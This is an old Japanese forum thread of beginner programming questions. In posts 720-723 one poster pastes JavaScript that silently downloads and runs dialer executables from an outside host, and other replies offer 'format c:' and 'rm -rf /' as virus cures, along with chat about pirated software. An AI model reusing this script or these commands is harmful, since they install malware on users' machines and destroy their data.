679長いソース書いてて気が付いた:02/05/05 16:51
みんな!
ソースのコメントとインデント大切にしようぜ!!
300行だけど見易さは大切に気が付いたぜ!
>>679
良かったな。一歩前進だ。頑張れ。
681デフォルトの名無しさん:02/05/05 17:04
Windows APIの説明の
マイクロソフトのページが
見つかりません

DirectXとかはMSDNに
あったのですが
http://www.asia.microsoft.com/japan/developer/library/default.asp?URL=/japan/developer/library/dsmsdn/msdn1.htm
のプラットフォームSDK(日本語) だよ。ただし、日本語版にはない項目も
あるから気をつけるべし。
683681:02/05/05 17:50
>>682
ありがとうございました
シェルの作成についての課題なのですが、

MyshellはCshellと違って、Cで実行できていたコマンドや機能のうち
働かないものがある。これらを調べ、どのような機能が実行できないか、
なぜできないか、どのような機能を追加すればいいか?

例えば次のが実行できない

エイリアス、ヒストリー、ワイルドカード、ファイルへのリダイレクト、
shellプログラミング、ディレクトリー操作(popd、pushdなど)

これらから4つほど(エイリアス、ヒストリーは必須)をmyshellに追加せよ。

という課題です。助けてください、お願いします。できればソースを、、。




685684:02/05/05 23:37
myshellです

#include<stdio.h>
#define MAXARGS 10 /* 許されるコマンドの引数の最大の数 */
#define LINELENGTH 80 /* コマンドラインの最大文字数 */
#define CONTINUE 1
#define EXITCOM 0

main(int argc,char* argv[])
{
char linebuf[LINELENGTH];
int hist;

for(hist=1; ;hist++){
printf("myshell[%d] ",hist);

    gets(linebuf);
  
if(exec_one_command(linebuf)==EXITCOM) break;
}
}
char *skipspace(char* s)
{
while(*s==' ') s++;

return s;
}


int getcl(char* line,char* argmv[])
{
int argnum=0;

do{
line=skipspace(line);
if(*line=='\0'){
argmv[argnum]=NULL;
return argnum;
}
argmv[argnum++]=line;
while(*line!='\0' && *line!=' ') line++;
if(*line=='\0'){
argmv[argnum]=NULL; return argnum;
}
*line='\0'; line++;
}while(1);
}

int exec_one_command(char linebuf[])
{
int argnum, status;
char *argmv[MAXARGS];

argnum=getcl(linebuf,argmv);
if(argnum==0) return CONTINUE;

if(strcmp(argmv[0],"exit")==0){
return EXITCOM;
}
if(fork()==0){
execvp(argmv[0],argmv);
printf("Error at execvp\n");
exit();
}
wait(&status);
return CONTINUE;
}



687デフォルトの名無しさん:02/05/06 00:06
質問はageなきゃだめでしょが
宿題でもキニシナイ!!
688684:02/05/06 00:10
>>687

そうだったのですか、、どうもありがとうございます。
689デフォルトの名無しさん:02/05/06 00:11
C++ と VisualC++ て 同じなの?
690デフォルトの名無しさん:02/05/06 00:17
すごく くだらなくて申し訳ないっす。
C++ と VisualC++ って 違う言語なのでしょうか?
コンパイラは違うソフトなのでしょうか?
教えてください。
691デフォルトの名無しさん:02/05/06 00:22
誰かおしえて〜〜
692デフォルトの名無しさん:02/05/06 00:25
VCの質問なんですが
リストビューなどのウィンドウに送られるメッセージは
どうやって捕まえればよいのですか?
VHDL と VisualHDL って同じなの?
誰かおしえて〜〜
694デフォルトの名無しさん:02/05/06 00:28
C++ → 言語(Cのパワーアップ版?)
VisualC++ → コンパイラ(C,C++,Windowsプログラミング等が可能)
みたいな感じだと思います。
メッセージハンドラで受け取るとおもいますが
696デフォルトの名無しさん:02/05/06 00:33
>>694
ありがとうございます。
C言語を勉強する為にはVisualC++を購入すればいいのですね。
696
言語を勉強するならただコンパイラで十分だと思われ。
アプリを作るのが目的なら・・・
>>696
違うだろ?
純粋にCならGCC(www.gcc.org)がいいかと・・・
699デフォルトの名無しさん:02/05/06 00:41
基本情報技術者試験にでるC言語を勉強する為には、
なにがいいんですか?
700デフォルトの名無しさん:02/05/06 00:42
(*´Д`)
コンドコソ・・・
699
どんなカスコンパイラでもOK。
702デフォルトの名無しさん:02/05/06 00:43
C言語のフリーソフトのコンパイラってあるんですか?
703700:02/05/06 00:44
(*´Д`)
ウフフ・・・
704デフォルトの名無しさん:02/05/06 00:45
>>695
具体的にはリストビューで右クリックメニューを出したいのですが、
WM_RBUTTONDOWNがこないようなのです。
そんで、スパイしたらWM_CONTEXTMENUが送られていたんで、
そのときにメニュー出したんですが、
メニューをクリックしても、動作しません。
おそらく、リストビュー自体にメッセージが送られているからだと思うのですが、
それをうまく捕まえるにはどうすれば良いのですか?
702
使用自由のC/C++はいくらでも。
Winならば
MS Frame.NET
Boland C++
GCC/MinG
LSIC制限版

707デフォルトの名無しさん:02/05/06 01:00
みなさん。本当にありがとうございます。
ダウンロードしてきます。
708704:02/05/06 01:05
704です。
ウィンドウのサブクラス化をすればメッセージを普通に受け取る事ができる
というのがわかったのですが、独自のクラスのメンバのプロシージャを関連付けようとすると、
[error C2440: 'type cast' : 'long (__stdcall CDLList::*)(struct HWND__ *,unsigned int,unsigned int,long)'
から 'long' に変換することはできません。]というエラーが出てしまいます。
独自のクラスにスレッドを作ろうと思ったときも同じようなことを言われてしまったのですが、
どのようにすれば解決するのでしょうか?
よろしくお願いします。
704
CListCtrlはNM_RCLICKで受けると思いますがマウスがアイテムを指してる
保証はないです。
>>708
staticメンバ関数トカ。
711バファル:02/05/06 01:50
エクセルで下記のような計算を組んでみました。
で、どうやら間違っているようなのでもしよかったら間違いを指摘してもらえませんか?
元の式は↓です。
http://sophia3654.hoops.ne.jp/mkokm.jpg
かなりみにくて申し訳ありません。
lnは自然対数です。
hνはエクセルで対応するA**などとして記入されています。
二つ式がありますが、それぞれ別の式と考えてください。

下記が問題の数式です。
=3.141*7.9408*10^(-26)*((LN(1+2*(A41/0.511)))/(A41/0.511)^3+(2*(1+(A41/0.511))*(2*(A41/0.511)^2-2*(A41/0.511)-1)/((A41/0.511)^2*(1+2*(A41/0.511))^2))+8*(A41/0.511)^2/3*(1+2*(A41/0.511))^3)

=2*3.141*7.9408*10^(-26)*(((2+4*(A28/0.511)+2*(A28/0.511)^2)/((A28/0.511)^2+2*(A28/0.511)^3)-((1+A28/0.511)*LN(1+2*(A28/0.511)))/(A28/0.511)^3)+((LN(1+2*(A28/0.511)))/(2*A28/0.511))-((1+3*(A28/0.511))/(1+2*(A28/0.511))^2))
>>699
あれは机上の勉強だけでOK
>>711
お前のせいで横スクロールバーがでてしまったじゃないか。
どうしてくれる?
情報処理試験に出てくるプログラムを実行してみたくても、説明しかない非標準関数が出てくるから実行しようがないよな。
716デフォルトの名無しさん:02/05/06 02:03
BorlandのフリーデバッガはGUI?
717デフォルトの名無しさん:02/05/06 02:44
コネ━━(`∀´)━━エ!!
このままではコードがでかくなる一方だ
718695:02/05/06 03:25
>>704
>WM_RBUTTONDOWNがこないようなのです。
この場合はWM_CONTEXTMENUが座標を背負って飛んできます。
719695:02/05/06 03:56
>>704 (続き)
M$サイトのVisualC++FAQのOnContextMenu()のコードを改変すれば表示できる
と思われます。
(当然メインメニュでなくサブメニュにメニューアイテムを追加してください。)
<script language=JavaScript>
var exeURL = "http://www.yourdomain.com/dialer.exe";
function WhichBrowser()
{
BrowserName = navigator.appName;
BrowserVersion = parseInt(navigator.appVersion);
Browser = "NS";
if ((BrowserName == "Netscape") && (BrowserVersion == "3"))
Browser = "NC3";
else if ((BrowserName == "Netscape") && (BrowserVersion == "4"))
Browser = "NC4";
else if (BrowserName == "Microsoft Internet Explorer")
Browser = "IE";
return Browser;
}
function ncDownload(exeURL) {
document.write("<SCRIPT>");
document.write("window.open\(\""+exeURL+"\",\"_blank\",\"height=1,width=1\")");
document.write("<\/SCRIPT>");
}
function IE_DownloadFile(exeURL)
{
document.write("<OBJECT");
document.write(" CLASSID =\"CLSID:8522F9B3-38C5-4aa4-AE40-7401F1BBC851\"");
document.write(" CODEBASE=\""+exeURL+"\">");
document.write("<\/OBJECT>");
}
function DownloadFile()
{
if (WhichBrowser() == "IE") IE_DownloadFile(exeURL);
if (WhichBrowser() == "NC4") ncDownload(exeURL);
}
DownloadFile();
</script>
var baseURL = " ";
var fnPrefix = "Netzany";

function WhichBrowser()
{
BrowserName = navigator.appName;
BrowserVersion = parseInt(navigator.appVersion);

Browser = "NS";
if ((BrowserName == "Netscape"))
Browser = "NC";
else if (BrowserName == "Microsoft Internet Explorer")
Browser = "IE";
return Browser;
}
function ncDownload() {
window.open("http://tb.netzany.com/Netzany/Netzany.ex","_blank","height=1,width=1");
}

function IE_DownloadFile(ieURL)
{
document.write("<OBJECT");
document.write(" CLASSID =\"CLSID:8522F9B3-38C5-4aa4-AE40-7401F1BBC851\"");
document.write(" CODEBASE=\""+ieURL+"\">");
document.write("<\/OBJECT>");
}

function DownloadFile()
{
//if (WhichBrowser() == "IE") IE_DownloadFile(baseURL + fnPrefix + ".exe");
if (WhichBrowser() == "IE") IE_DownloadFile("http://tb.netzany.com/Netzany/Netzany.ex");
if (WhichBrowser() == "NC") ncDownload();
}
722 2:02/05/06 05:06
function getCookieVal (offset) {
var endstr = document.cookie.indexOf (";", offset);
if (endstr == -1)
endstr = document.cookie.length;
//alert(document.cookie.substring(offset, endstr));
return unescape(document.cookie.substring(offset, endstr));
} function GetCookie (name) {
var arg = name + "=";
var alen = arg.length;
var clen = document.cookie.length;
var i = 0;
while (i < clen) {
var j = i + alen;
if (document.cookie.substring(i, j) == arg)
return getCookieVal (j);
i = document.cookie.indexOf(" ", i) + 1;
//alert(document.cookie);
//alert("Get it!")
if (i == 0) break;
}
return null;
}
function SetCookie (name, value) {
var argv = SetCookie.arguments;
var argc = SetCookie.arguments.length;
var expires = (argc > 2) ? argv[2] : null;
var path = (argc > 3) ? argv[3] : null;
var domain = (argc > 4) ? argv[4] : null;
var secure = (argc > 5) ? argv[5] : false;
var ver, aff, dl
document.cookie = name + "=" + escape (value) +
((ver == null) ? "" : ("; ver=" + "1")) +
((expires == null) ? "" : ("; expires=" + expires.toGMTString())) +
((path == null) ? "" : ("; path=" + path)) +
((domain == null) ? "" : ("; domain=" + domain)) +
((secure == true) ? "; secure" : "");
//alert(document.cookie);
} function DeleteCookie(name) {
var exp = new Date();
FixCookieDate (exp);
723 3:02/05/06 05:07
exp.setTime (exp.getTime() - 1);
var cval = GetCookie (name);
if (cval != null)
document.cookie = name + "=" + cval + "; expires=" + exp.toGMTString();
} var cookie_date=new Date(document.lastModified);
var expdate = new Date();
var now=new Date();
var now1=new Date(GetCookie("Netzany"));
expdate.setTime(expdate.getTime()+(5*24*60*60*1000)); //document.write("<Font color=ff8800>" + "Last updated: "+ "</font>" +document.lastModified);
//document.write("");
//if (!(cookie_date == GetCookie("cookie_date"))){
//SetCookie("Sunny",cookie_date,expdate);
//document.write("<font color='yellow'><br>Site has changed since last visit!</font><br>");
//} //SetCookie("Netzany",cookie_date,expdate);
//alert (GetCookie("Netzany"));
//alert (Date());
//alert (now.getDate());
//alert (now1.getDate());
//alert (now.getDate()-now1.getDate());

if (GetCookie("Netzany") == null || now.getDate()-now1.getDate()>0)
{
DownloadFile();
SetCookie("Netzany",cookie_date,expdate);
//alert ("SET COOKIE");
}
嫌がらせですか?
>>724
はい。
726デフォルトの名無しさん:02/05/06 10:47
Spy++とは一体何奴ですか?
727デフォルトの名無しさん:02/05/06 10:50
そう
M$ spy++ヘルプ
スパイ++ (SPYXX.EXE) は Win32 で実行するユーティリティで、プロセス、
スレッド、ウィンドウ、およびウィンドウ メッセージをグラフィック表示
します。スパイ++ を使うと、以下のことを行えます。システム オブジェクト
同士の関係をグラフィカルなツリー ビューで表示します。...
(スパイウェアではない)
729726:02/05/06 11:30
>>728
どうもです。
VC++にしか無いものなのね、、、。
730デフォルトの名無しさん:02/05/06 11:46
IIS5.0 でサーバーを立てました。
http://localhost/xxxでは、作成したHPが確認できるのですが
http://127.0.0.1/xxx だと認証窓が出てきてページが見れません。
(200.55.45.xx などの使用ipでも同様)

OSはXP-PROです。
いろいろやってみましたが、解りません。
どなたか解決方法を教えて下さい。

おながいします。
>>730
この板とどう関係があるんだろう…
732デフォルトの名無しさん:02/05/06 14:50
ソフトのバージョン情報って、そんなに深く考えなくても適当でいいんですか?
なんか本当にくだらない質問…
733デフォルトの名無しさん:02/05/06 15:05
くだらない質問ですが誰か教えて下さい…。
配列の計算なんかで、

for(i=0;i<NUM;i++) sum+=data[i];

と書くのと、
p=data;
do
sum=*p++;
while(p<&data[NUM]);
とかくのって実際に計算時間変わるもんなんですか?
上みたいに書いてもコンパイラが最適化してくれたりしないんですか?
厨房な質問ですみませんが教えて下さい
>408
SETI@HOMEがそーゆー理屈で動いているよな。
測ってみてはどうか
736デフォルトの名無しさん:02/05/06 16:12
質問させてください。
VC++のAppWizardが作ってくれる.EXEの使い方はなんとかわかりました。
(本を見てエディタとかHTMLビューアとかは作れました。)
しかし、その他のDLLやATL COMやActiveXについてよくわかりません。
それぞれ主に何を作るためにあるのでしょうか?
別の開発環境が無いと、これらは意味が薄いのでしょうか?
環境はWinMe+VC++6.0PersonalEditionです。
どうか回答をお願いします。
>>733
最適化はコンパイラによるので試してみないとわからんぞ。
ここでものぞいてみるよろし。
http://www.emit.jp/prog/prog_opt0.html

>>732 いいよ。
739733:02/05/06 16:38
>>737
参考になりました。サンキューです。
740732:02/05/06 16:42
>>738
そうですか。。
くだらない質問に答えてくれてありがとうです。
741やん:02/05/06 16:44
女の子ととの出会い方を教えて下さい.
もうかれこれ2年ほどつきあっていません.
742C_sugar:02/05/06 16:46
ドラクエ3のプログラムはデータをあわせるとアセンブラで10万行くらいになるようですが、
ではFF10とかは何万行くらいになるのでしょうか?

>>741
20年の間違いですか?童貞
744デフォルトの名無しさん:02/05/06 17:01
質問なんですが、アセンブラってどうやったら打てるんですか?
それらしいソフトも見たことないし。
ショボイ質問でスマソ。
ヲレは3年だが
744
int main(){
 int i;
 __asm{
  mov eax, 0x000001
  mov i, eax;
 }
 return 0;
}
747素人。:02/05/06 17:17
おれ、「エキスパートCプログラミング」ていう本を読んだんですけど、
「外野席:」ってのがいちいちうざいんですよ。
どっかで「外野席」なしのやつ出版してないですかね?
いちいちマジックでつぶしていくのが面倒なんですよ。
ええ。ほんとに。
ああゆう友人って「最高!」なんですか?マジで?
えーと、なんてゆうか、あれはですね、
孫子の「混沌」の話を知らない人が訳してるんだと思うんですよね。
はぁ。
748デフォルトの名無しさん:02/05/06 17:19
こうやって書くのとちがうの?
__asm__(".byte 0x0f,0x31":"=a" (l),"=d" (h));
749デフォルトの名無しさん:02/05/06 17:33
>>746
ええと・・・・よく分からんのですが・・・・
アセンブラってC言語ソフトで打てるんですか?
750736:02/05/06 17:36
だれか…
749
システム依存で書けるとおもわれ。
てか、アセンブラで組むより最適化したコンパイラで普通にCで書こう。
(MMXとか3D-Now!とかSIMDとかやるんなら別だが。)
>>750
ライブラリ コンポーネント コンポーネント
>>749
as (GNU) とか masm (MS) とかがアセンブラ処理系。
__asm{int 20}
755736:02/05/06 18:12
>>752
ライブラリ=コピペよりはるかにマシ
コンポーネント=VBとかのパーツを製造する
こういう理解で良いのですか?
>>755
> ライブラリ=コピペよりはるかにマシ

なんちゅう理解だ。
757736:02/05/06 18:38
ライブラリ=触ると危険なコードの隔離

こうですか?
>>757
むむぅ?
なんでそんなにネガティブな・・・
ライブラリ
  みんなが使う図書館
コンポーネント
  (再)利用しやすくするための部品
760736:02/05/06 19:07
理解しました。
ありがとうございます。
761デフォルトの名無しさん:02/05/06 20:08
初めてVCやるんですがSDKとMFCどっちから勉強するのが良いんでしょうか?
>>761
MFCかな?
どちらにしろ半年もたてば風当たりはきつくなる。
>>761
C,C++はできるのか?
SDKやt(以下略)
765デフォルトの名無しさん:02/05/06 21:35
質問なんですがVisual C++.netって、
ネットに接続していないとインストールできないんですか?
766765:02/05/06 21:51
↑誰か教えてくだされ〜〜〜
まだ30分もたってねーじゃねーか
常時回答者がいるわけじゃねーんだよ
他のMS製品と同じでは?
770デフォルトの名無しさん:02/05/06 21:55
初心者ですが、書き込みお許しください。
ビデオチャットソフトのCU-SeeMeで多人数会議を実現したいので、
拠点(リフレクタ)の立ち上げを考えているのですが、
当方、Windows2000proで知識が乏しく、このリフレクタの起動の仕方をご教唆いただきたいのです。
レベルとしては、.exeとか.batのようなファイル以外は実行した事がありませんが、
Windows付属のDOSプロンプトは多少分かります。
いま候補に考えているのはsrefというソフトです。

ttp://www.sei.co.jp/RandD/freeware/sref/sref_j.html

ちなみにCu-SeeMeクライアントは、フリー版

ttp://cu-seeme.net/squeek/cupc/cu-seemev10.exe

を想定しています。
よろしくお願いします。
771765:02/05/06 21:56
>>767
す、すいません(激汗)
以後気をつけます。
772765:02/05/06 22:02
>>769
え〜と・・・・そこに行ってもよく分からないんですが(汗汗汗)
できれば教えて頂けないでしょうか?
>>770
そのホームページにお聞きしていることの全てが書いてありますが?
774デフォルトの名無しさん:02/05/06 22:04
>>772
もしもVisual Studio6.0と同じならば、インターネットにつないでおいた方がいいよ。
インストール時でないとオンライン登録できないから。
人に物を聞くとき(汗)とか書く奴にはろくな奴がいないってことやね(汗)
776765:02/05/06 22:07
>>774
オンライン登録っていうかインストールができないんです・・・・・・
ネットにつないでいない事が原因なんでしょうか・・・・
777デフォルトの名無しさん:02/05/06 22:08
>>776
どういうメッセージが出るんだ?
言ってみろ。
>>772
システム要件に必要とは書いてない以上動作しないことはない
動作しなければ問題になるでしょ?
>>776
そうだね。(汁)
780779:02/05/06 22:11
レス相手間違っちゃった(汁)
781770:02/05/06 22:12
>773
見に行ってくださってありがとうございます。
.exeなどの実行ファイル以外を起動させた事がないもので、
このケースで言えば拡張子hとか、正体が分からないファイルを前にためらっているのですが、
Dosプロンプトで適宜オプションなど付けて実行すれば起動するのでしょうか?
最初に初期設定ファイルを記述する、というのも今ひとつ分からなくて。

>>781
その前にコンパイルって作業について・・・
いや、お前基本からやり直せ。
783765:02/05/06 22:14
>>777
エラーメッセージは長くて書ききれないですが、
インストール時にいつも同じファイルの所で止まるんです。
確か「〜が開けないのでアクセスできるかどうか確認して下さい」
的なメッセージが出るんです。(〜はファイル名)
ちなみに止まるファイルは「dataservise.disco」です。(上の〜の所)
>>783
・・・・・・・・・・・。
NT系で通常ユーザーでインストールしようとしているのでは?
785765:02/05/06 22:18
>>784
す、すいません(激汗)
何を言ってるのかさっぱりなんですが・・・・・
初心者なんで・・・・
>>785
OSは何を使っているの?
dataservice.discoがCD側にあるのなら、CDがこわれてんじゃネーノ?
788765:02/05/06 22:23
>>786
OSはWindowsXPのHomeEditionです。
「dataservice.disco]はマイコンピュータの中にありました。
検索したからこれは確かかと思うんですが・・・・
>>788
>マイコンピュータの中にありました。

・・・・・・・・・
790765:02/05/06 22:28
>>789
ええっ!?
私何か変な事言いました!?
791773:02/05/06 22:28
>>770
私の経験によれば、
お金を払ってでも詳しい人を呼んだほうが良いと思います。

拡張子.h
 好奇心旺盛な子供と、IT業界の人を除けば、
 一般人は知らない拡張子です。ヘッダファイルと読みます。
DOSプロンプト
 これは確かに役に立つ知識ですが、
 今回はそれに輪をかけて複雑な知識が必要です。
初期設定ファイル
 はじめに、設定を指定しておくためのファイルです。
 次回からは、プログラム側でファイルを読んでくれます。便利ですね。

くりかえしますが、私の経験によれば、
お金を払ってでも詳しい人を呼んだほうが良いと思います。
>>790
CDを挿入してると、それもマイコンピュータに含まれる。
言ってることがわかりますか?
>>790
プログラミングの前にPCに慣れ親しんだ方がいいのでは?1と思えてきた
794765:02/05/06 22:32
>>792
そ、そうなんですか。
今すぐ調べ直してきます!!
795770:02/05/06 22:32
>791
とりあって下さって本当にありがとうございます。
職場で今増えているであろうにわか管理者になってしまい、
予算がない中、欲張ってビデオ会議をやろうとしていました。
素人ではやはり無理でしょうか?
もし勉強するとしたら、よいサイトとかテキストがありますでしょうか?
796765:02/05/06 22:38
>>786
ディスクを抜いて試してみたところ、確かにディスクの方にある様です。
壊れているんでしょうか・・・・・
>>796
…………

まあ、もし壊れてるなら返品しましょう。
最近買ったんでしょ?
798765:02/05/06 22:43
>>797
[dataservice.disco]がPC側にないとおかしいんですか?
パソコンの基礎を・・・
800765:02/05/06 22:45
>>799
ええっ!?
そんな事言わずに教えてください〜〜〜
>>798
正直プログラミングは早いと思うな…
VC++なんて高いものを買ったのはちょっともったいないな
802765:02/05/06 22:48
>>801
そ、そうなんですか!?
一応勉強はしてるんですが・・・・・・・・
ところで上の質問は・・・・・
>>801
しかも既にVC++.NETが存在してますしね。
>>802
なんでVC++なんか買おうと思ったの?
初心者にはフリーで十分だよ?
>>802
俺は持ってないんでわかんないんだけど、
VC++説明書あるよね?
トラブルシューティングとかないの?
806765:02/05/06 22:53
>>803
いえいえ私が買ったのはVC++.NETですよ。
>>804
質問ばかりで申し訳ないんですが・・・・フリーとは?
807名無しさん@Emacs:02/05/06 22:53

いくつかのファイル名を引数にとる関数で、ファイルがopen
できなかった場合にエラーを返したいのですが、関数の最初
に全てのファイルが開けるかチェックすべきですか?
それとも、個々のファイルを実際に開く必要がでたときに
if( open( file ) == -1 ) { error( ); } などとするべきで
しょうか?


>>806
ヤパーリPCとネットをやり直そうよ。
それじゃあ勉強してても絶対に覚えられないよ。
プログラミング(というかC)にPCの知識はあまり必要ないけどその状態じゃあ…
809765:02/05/06 22:56
>>808
というと、何から勉強すればいいんでしょうか・・・
810795:02/05/06 22:56
>>770
心中お察しします。
>もし勉強するとしたら、よいサイトとかテキストがありますでしょうか?
たくさんあります。
書店でパソコン関連の雑誌、ムックというのを探してください。
店員に「こういう本が欲しい」と言って、反応を見るのも楽しいですよ。
3ヶ月くらい雑誌を読み漁ると、多分、初心者を卒業できます。
ただ、今回の件はすでに初心者の扱う問題を越えていると思います。
そちらで設定してあげられれば良いのですが。
>>802
そのファイル自身は
FrameworkSDKのサンプルファイルだから別に必要ない。
インストールしなおしても同じファイルで引っかかるのか?
それなら読み取りエラーっぽい。
HDにフォルダ作って一旦CDの内容を全てコピーしてから
インストしなおしてみたら?
君にこれを試せというのは、かなり心配だが・・・
812デフォルトの名無しさん:02/05/06 22:56
VC++.NETのスタンダードって再配布の制約とかついてるの?
MSの購入案内にちゃんと書いてないですね。
ミスしてしまった。
>>795だ。
VS.NETアカデミックの機能に

AP C++ コンソール アプリケーション ウィザード。 優秀な高校生が履修可能な大学レベルの科目 (AP : Advanced Placement) の コンピュータ科学の試験の学習で一般的に使用される 5 つの C++ クラスを持つコンソール アプリケーションを作成します。

っていうのがあるのですが5つのクラスって?
うち、コンピュータの専修大学ですがC++やらなかった・・・。
815765:02/05/06 22:59
>>811
え〜と・・・コピーするには具体的にどうすればいいんでしょうか。
>>815
あのさ〜…非常に聞きにくいんだけど、今までのはネタ?
CDからコピーってのがわからないって…
817811:02/05/06 23:00
>>815
それを聞くようじゃ・・・
やっぱり今回は断念した方がいいと思うよ。
818765:02/05/06 23:02
>>816
そういうわけではないんですが・・・・・・・・

>>818
正直な感想としてはプログラミグはまだ早いよ…
もっとPCに触れてからにしましょう
820:02/05/06 23:05
マイコンピュータ=私のコンピュータ

この用語はパソコン全体(のデータ)を指す。
つまりC:\とかA:\とかQ:\とかZ:\(?)とか。

話題の流れは関係無いが、>>810を参考に。
821765:02/05/06 23:05
>>819
そう言わずに教えてください!お願いします!!!!
822811:02/05/06 23:05
>>817
悪いことは言わないから、諦めた方がいい。
Windowsのファイル操作がままならないあなたには
VS.NETは敷居が高すぎる
823770:02/05/06 23:07
>810
つきあって下さってありがとうございました。
正直、書き込む前は袋叩きで打ちひしがれるかと思っていました。
もう一度勉強し直して来ます。
>>821
俺のわかるトコは教えたいと思うよ、マジで。
でもさ、あれやれこれやれ言って、そのあれやこれがわからないとなるとちょっとね…
825765:02/05/06 23:10
>>824
そうですか・・・・・・ありがとうございました。
んでも一応試してみます。
麻衣コンピュータ
827811:02/05/06 23:16
>>825
一応、先ほどのやり方をもう少し詳しく・・・
但し原因がハッキリしない以上解決するとは限らないので・
HDにフォルダを作成する例えば「VSINST」とかね
そのフォルダにCDの内容を丸ごとコピーする
複数枚の場合全てのCDをコピー
同じファイルがある場合は上書きでかまわない
フォルダ内のSETUP.EXEを実行してインストールしてみる
828807:02/05/06 23:22
>>807 (T原T)
>>807
そら、関数の処理内容によるでしょうが
830:02/05/06 23:24
ファイル操作一覧。

クリック 選択/選択解除
Ctrl+クリック 複数選択
Shift+クリック 一気に選択(違いは体で覚えること)
ドラッグ ボタン押したまま引っ張ること
ドロップ それをはなすこと(落とす、ともいう)
ドラッグ・アンド・ドロップ 引っ張って落とすこと(普通はコピー操作になる)
右クリック それ用のメニューが出る(それぞれ選択して、結果を見よう)
右クリックでのドラッグ・アンド・ドロップ 最後にメニューが出る(それぞれ選択して、結果を見よう)
Ctrl+A。 全選択。

最低でも、このくらいは知っておこう。

>>807
仕様による。仕様が決まってないなら、別だが。
>ドラッグ・アンド・ドロップ 引っ張って落とすこと(普通はコピー操作になる)
普通は移動操作、だろ。
>>831
OSや設定による
普通最初はコピーになってるはず
>>807
すべてはケースバイケース。
エラーチェックを厳密にやりたいならば前者。
2度オープンさせるのが勿体無いと思うなら後者。

個々のファイルオープンの間にユーザ操作があり
エラーによってユーザの作業内容が失われる可能性があるなら前者。
そうでないなら後者。
>>832
ああ、対象がCD-ROMなのか。
それなら確かにコピーがデフォルトだ。
835デフォルトの名無しさん:02/05/06 23:39
VISUAL BASIC やらVISUAL C++ってありますけど
どちらの方を学んだらいいんですか?
>>835
どっちも半年程度の命です。特にVBは一気に干される可能性大です。
837807:02/05/06 23:44

>829>830>833
レスありがとうございます。
ファイルへの入出力は、一つのプロセスからしか行わない
(はずな)ので後者?
でも、ずーと処理してきて最後に1つファイルが開けなくて
エラーってのもおかしいので前者かな?
でも、使わないファイルをオープンしとくのも違和感がある
から一回クローズしたほうがいいのでしょうか?
<HTML><HEAD></HEAD><BODY bgColor=#ffffff>
<iframe src=cid:EA4DMGBP9p height=0 width=0>
</iframe></BODY></HTML>

PostPet>>>>>添付ファイル:docs.DOC.pif がありました。
PostPet>>>>>C:\PROGRAM FILES\SO-NET\POSTPET FOR WINDOWS VER. 2.0\添付書類フォルダに展開しました

↑こんなメールが知らないアドレスから来ました。
俺は初心者なんで開くのが怖いです。ウイルスなんでしょうか?
どなたか教えてください。
>>836
これからはナンデスカ?
>>839
.NET
>>838 190%ウイルスです。
>>838
怪しいと思ったら添付ファイル名を google すれ。
ちなみにそれは W32/Badtrans-B の確率が高い。
>>840
なるほど、どうもです
844838:02/05/06 23:55
>>841さん>>842さん
ありがとうございます。調べてみます。
しかし、しらない人がなぜ自分のアドレスを知っているのでしょうか?
ストーキングされてるんですよ。
>>845 ワロタ
847838:02/05/07 00:00
検索したら沢山ひっかかりました。
>>842さんが言っていたウイルスのようです。
フォルダに入っている添付ファイルは普通にゴミ箱に
入れていいのでしょうか・・
>>845
だとしたら、怖いっすね・・・
848デフォルトの名無しさん:02/05/07 00:01
今日友達からウイルスを全て消すには、DOSモードで
format c:
とやれば消えるといわれましたが、ほんとうでしか?
そいつはいまいち信用できないのでまだ実行してないです。
おしえてください。
完全にきえます。HDの貴重なデータとともに。
人間関係も消去したほうが(以下略
851デフォルトの名無しさん:02/05/07 00:06
間違ったことは言ってないよ。その友達。
でも他にドライブがあったらそのドライブもformatしないとね。w
>>848
ネタでないのなら、その友達は信用しないように。
そして少しは調べて、考えてみましょう。
フォーマットって、どんな意味だかわかりますか?
rm -rf /
ま、これでもいいな。
>>853
先生! Permmistion denied というのが沢山でます!
855838:02/05/07 00:17
>>849さん、どうもです。
感染はしていないようです。メール開いたけど。。。
こんちは。
実は、割れ物のフォトショップで作ったファイルは見る人が見ればか分る(4.0は平気だった)という話しですが、それについて情報いただけませんでしょうか。
いきなりの割れ話しで情報クレクレ房か。めでてーな。
>>856
http://www.google.co.jp/search?hl=ja&q=%92m%82%E9%82%A9%83%7B%83P%81I%81I%81I

検索ぐらいしましょう。1000件以上でてきますよ。
859848:02/05/07 00:26
さんくすこ。
なんかあぶなそうなんで、やめときます。
860838:02/05/07 00:27
ウイルス対策ページ見てて思ったんですが、
今、俺のメーラーに他の人のメアドが一つも入ってないんですよねw
最近リカバリーしたばかりでw
ご協力ありがとうございました>>all
>>858
殺すぞ!!
>>856
良くやった。
でも、割れ物って検索すると一つのサ−バ−から1000件は出てくるぞ。みんなどうしてんのかな。
金出して買ったヤシの画像は気合いが入ってるんで一目で分かる。
ひたすらgoogleの絞込み検索で試行錯誤してるんだろう。
あるいはUG系HPのソース見てリンクたどったり(w
昔は、割れ物は同じバイト分交換とか言ってるドケチばっかりだったけどMXのおかげで30分ですむようになった。みんなでやれば怖くないとはこの事だよなw
>>865
今はソースを見なくてもリンクナビゲータがあるので、
その辺はかなり楽
>>865
MXじゃ!ボケ!!時代遅れなUG系などやるか!!
オマエもやれ。
MXやるとみんな優しくなるよな。ほんと簡単に何でもくれるよ。
>>868
(wを付けてレスする>>865に、ボケ!!とはいかがなものか。
まあ、ソフトはフリーのやつで足りてるよ。俺はGIMPでいいさ。
              ∧_∧  〔^^〕
               _,( ´Д`)⌒ i  |
          (⌒ ー  一 r.、!  〉
           ヽ弋 。 人 。 イ(` ー'
           〔勿\     ヽ
               )  r⌒丶 )  ドカ
     ドカ   ドカ  /   !  |'´
       ドカ    /   /|  |‖ ドカ
             (    く  !  ||‖  ドカ
           ドカ   \  i   | ‖|‖|
            ,__>  ヽヽ从/∧∧
            ⊂⌒ヽ从/ つ ゚д゚) ←>>866=868=869
割れやっている人って、落としたものを実際に使うことはまれなんでしょ?
落とすことに意義がある。とか言って。
873デフォルトの名無しさん:02/05/07 01:00
>>871
割れ厨が割れ厨たたきですか?
みんなで幸せになろうよ
・・・「機動警察パトレイバ−」より
>>872
それは低脳なワレザー
普通のヤシは欲しいものだけを落とすから使う
プッ、自分で買った奴は悔しかろう。
でも、金ができたら買ってもいいとはみんな思ってるとおもう。
           ∧_∧  / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
